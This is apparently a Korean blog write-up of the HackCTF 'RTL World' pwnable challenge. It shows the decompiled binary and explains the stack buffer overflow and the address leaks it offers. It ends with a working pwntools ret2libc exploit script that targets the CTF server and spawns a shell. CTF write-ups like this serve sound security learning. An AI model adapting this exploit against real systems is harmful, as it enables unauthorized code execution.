728x90
check
- 32bit
- NX만 걸려있다.
Analyze
pseudo code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+10h] [ebp-90h]
char buf; // [esp+14h] [ebp-8Ch]
void *v6; // [esp+94h] [ebp-Ch]
void *handle; // [esp+98h] [ebp-8h]
void *s1; // [esp+9Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
v6 = dlsym(handle, "system");
dlclose(handle);
for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
;
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
printf("Your Gold : %d\n", gold);
while ( 1 )
{
Menu();
printf(">>> ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\n");
break;
case 2:
Get_Money();
break;
case 3:
if ( gold <= 1999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 1999;
printf("System Armor : %p\n", v6);
}
break;
case 4:
if ( gold <= 2999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\n", s1);
}
break;
case 5:
printf("[Attack] > ");
read(0, &buf, 0x400u);
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
default:
continue;
}
}
}
|
cs |
- libc leak을 따로 하지 않고, 오직 노가다..(?)로 system함수의 주소와 "/bin/sh"의 주소를
- s1은 "/bin/sh"를 가리키고, handle은 라이브러리 주소, v6은 system함수의 라이브러리 주소를 가리킨다.
- 2000 이상의 gold가 있어야 v6의 주소를, 3000 gold 이상 있어야 s1의 주소를 구할 수 있다.
- 5번 메뉴를 선택하면 0x8c만큼 할당한 buf 변수에 0x400byte만큼 read함수를 통해 읽어들여 버퍼오버플로우가 발생하게 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
int Get_Money()
{
int result; // eax
int v1; // [esp+8h] [ebp-Ch]
int v2; // [esp+Ch] [ebp-8h]
int v3; // [esp+10h] [ebp-4h]
puts("\nThis world is F*cking JabonJui");
puts("1) Farming...");
puts("2) Item selling...");
puts("3) Hunting...");
v3 = 0;
v2 = rand();
printf("(Job)>>> ");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 == 2 )
{
puts("\nItem selling...");
while ( v3 <= 350 )
++v3;
puts("+ 350 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
else if ( v1 > 2 )
{
if ( v1 == 3 )
{
puts("\nHunting...");
while ( v3 <= 500 )
++v3;
puts("+ 500 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
else if ( v1 == 4 )
{
puts("\nWow! you can find Hidden number!");
puts("Life is Just a One Shot...");
puts("Gambling...");
printf("+ %d Gold\n", v2);
gold += v2;
result = printf("\nYour Gold is %d\n", gold);
}
}
else if ( v1 == 1 )
{
puts("\nFarming...");
while ( v3 <= 100 )
++v3;
puts("+ 100 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
return result;
}
|
cs |
△ Gold를 모아서 주소들을 구해보자
>> 메뉴로는 출력되지 않지만 Make Money에서 4번을 선택하면 gamble을 하게 된다. 이 때 일확천금을 얻을 수 있으니 한 방으로 시스템의 주소와 쉘의 주소를 얻어보겠다.
Exploit
from pwn import *
#context.log_level = 'debug'
#p = process("./rtl_world")
p = remote("ctf.j0n9hyun.xyz", 3010)
elf = ELF("./rtl_world")
libc = elf.libc
def menu(num):
p.sendlineafter(">>> ", str(num))
menu(2)
p.sendlineafter("(Job)>>> ", "4")
menu(3)
p.recvuntil("System Armor : ")
system = int(p.recv(10),16)
menu(4)
p.recvuntil("Shell Sword : ")
binsh = int(p.recv(10), 16)
pl = "A"*(0x8c+4)
pl += p32(system)
pl += "B"*4
pl += p32(binsh)
menu(5)
p.sendlineafter("[Attack] > ",pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] g++ pwn (0) | 2021.02.13 |
---|---|
[HackCTF] Poet (0) | 2021.02.11 |
[HackCTF] Yes or No (0) | 2021.02.11 |
[HackCTF] BOF_PIE (0) | 2021.02.10 |
[HackCTF] BASIC_FSB (0) | 2021.02.10 |